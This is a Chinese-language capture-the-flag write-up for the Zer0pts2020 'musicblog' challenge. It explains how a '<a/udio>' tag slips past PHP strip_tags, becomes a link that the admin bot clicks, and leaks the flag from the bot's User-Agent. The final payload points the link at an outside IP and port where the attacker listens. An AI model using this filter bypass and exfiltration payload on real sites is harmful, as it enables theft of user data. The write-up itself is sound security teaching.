[Zer0pts2020]musicblog
解题步骤
题目给了源码,直接代码审计一波。看到worker.js:
// (snipped)
const flag = 'zer0pts{<censored>}';
// (snipped)
const crawl = async (url) => {
console.log(`[+] Query! (${url})`);
const page = await browser.newPage();
try {
await page.setUserAgent(flag);
await page.goto(url, {
waitUntil: 'networkidle0',
timeout: 10 * 1000,
});
await page.click('#like');
} catch (err){
console.log(err);
}
await page.close();
console.log(`[+] Done! (${url})`)
};
// (snipped)
告诉我们admin点击id=like的链接,并且flag在ua头里,估计是xss。
在utils.php里面:
function render_tags($str) {
$str = preg_replace('/\[\[(.+?)\]\]/', '<audio controls src="\\1"></audio>', $str);
$str = strip_tags($str, '<audio>'); // only allows `<audio>`
return $str;
}
告诉我们只能用audio标签
echo strip_tags('<script>','<audio>'); 但是strip_tags允许/。本意是不过滤</audio>标签。但是没限制/的位置 echo strip_tags('</audio>','<audio>'); 我们可以构造 echo strip_tags('<a/udio>','<audio>'); 这样解析出来时<a/udio>。 然后放到浏览器上解析。就变成了<a uio> a标签属性带一个uio
还设置了CSP,防止跨域
<?php
error_reporting(0);
require_once 'config.php';
require_once 'util.php';
$nonce = get_nonce();
header("Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic'; base-uri 'none'; trusted-types");
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block');
session_start();
但是可以用a标签进行请求。
aa 浏览器解析后就成了 aa
payload:<a/udio id="like" href="http://47.96.173.116:2333">asd
然后监听2333端口即可